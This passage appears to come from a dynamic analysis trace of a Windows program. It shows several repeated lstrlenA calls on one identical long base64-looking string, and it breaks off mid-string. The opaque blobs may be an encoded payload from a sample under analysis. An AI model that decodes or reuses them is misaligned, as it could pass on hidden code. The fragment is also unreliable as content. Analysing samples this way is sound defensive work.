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") returned 5820
	[0084.641] lstrlenA (lpString="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") returned 5820
	[0084.641] lstrlenA (lpString="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") returned 5820
	[0084.641] lstrlenA (lpString="E+gWS7stQk7klWvDkQSAvjgrgwQ9ZMaTS5QafTUP+jgDIoEI6au9VjT2M8NLyvtGg2gB7Wj8xophSNfZCh8rT5ggHXD334LNNubgw9/A/yG1AC3T4EMB7pmidOTfUEnshtq68nC5YzhsGayCIvZMa8VQMeLoDacAuoszlHf6o8UVvxCPQe+6Xrz1dhlCkP/uUuhQS2wsIbM+eumuFLAYWj8JWqRXL3SoFiySTzFcip/VmKpkS0ByS0wtiHTyqkhoe8pchI89D2yWk8ghYCpsvRnllWxNpscl14TddRJZvBZhoWRDvZeroUViApEt8YzMbO63sYtJ7n+jTv8uS6IDgcsUeoLSqDMvD/mMTVhEY0YGVs/wJYO38UCiBYtBdqTr+kDu3GS2+Nu3gqkSVxgJZc2MUFJCGUdGDxw1MhEpKvmx9WuQhVecmnZ54ZaacfRFTq6HL8OoFcVhMMZ1hoL98DD+C58CwHlChbh0W1SIxyv7ZOnLc7HjKWXaNBzbVDKDHx0L5xCRcci01Pg9N1kYFwtoFjYPP+rW2Q6Q6+Ey8no6g8BfI0X7Fe3yNRmBJDkfwgttccEcPnKnYmhR6orZFzbv8xPYOei3EBpxWPWQNYvBZeFu2Z6Q7Tsli5docxSGxRVNdhpYwi/Fc9Gctu4Nt2Rattg87JMzURadDUrqOMCCgARfI45Jr1dRgAqgjvizAF3kFSNdCz9RXpdOhzwU6wElGzj/umB/E1Cf61J6kaFwVGQeUfiX0plVIDrnskWha3qTj3qVeb31tLBLyvlvEAWmcc4/i7waD+hH9j5hovGP/zsfVyCnqBouO8VxlU+e6DC/Df9MLc0OKWg15hQkvfdOEkv51Dkr2xgyKNlHidbuN8z0oZcd9ZsjWZ3F5I3dg+sijGiBcxrM83337xGsmXZ3FapOf/6RVrwkGIJLZCjUTy6D3HUatfWMn9ARjBkHrHtQ8c7Yr9ScDo2TkHT8ySR6oeXfx5G/dPoYGw0W/BbRt/FF+aDwhkPvm9+vOjG7iVDNfexVNq7UHQpnaQu+KVdqxmFJUSgzefnKAkopFbcluxFXgozk2XKWNas7wqfKMWrt0IXEG2UhkLtrcd8p4JNBmNqsDijqc8ALYZwzFDKsVsrg5DzyIluyLMxG/TiakC/pBHkQ3RiZ5uvTydxtAD8n2yavcm0Kj5Fss82FGu+kBj35uhx4I7jDj20EwFB1Ph4M9k3/dFx0YXyk1S1gQrIGrnhCrb8U2+Y6YuqAXd/TbsXCLPz9ePTE+Lqet+H5JFdFbR/LgKR/IrZ2OCq8vHmPXkVd339xwOXS1LYNQ/jTiEw9ocs8XSfQiiF1lKyts17dW19MUzq2agefI4iBUvirUCPiXVKqgwmGHTfYJg3onDGZ9lzaQ1RMkYofNEg+olX5fvoOPf+IqVeOZsy/rodl5tiysKtgobARxKzixyeJxR+SpMjZcZWB542juT392bZxWTKtGybGXBkYhfLbJYtGZhTwVKm918Lbl4WHTx5nAxeuSpRATmqdBuNX/I8LPd0qeMmlCokyBRhNxYw8V4rBPQxlUDYvFC43eGey+eolIizMw2UpNe1K/hK6yaHl0PbqZLI4FBSppDbwXGbNvKyrby6gDVhdz529Co4/9gjezuRA5hzjEesWKRHwXz6Nkg1rX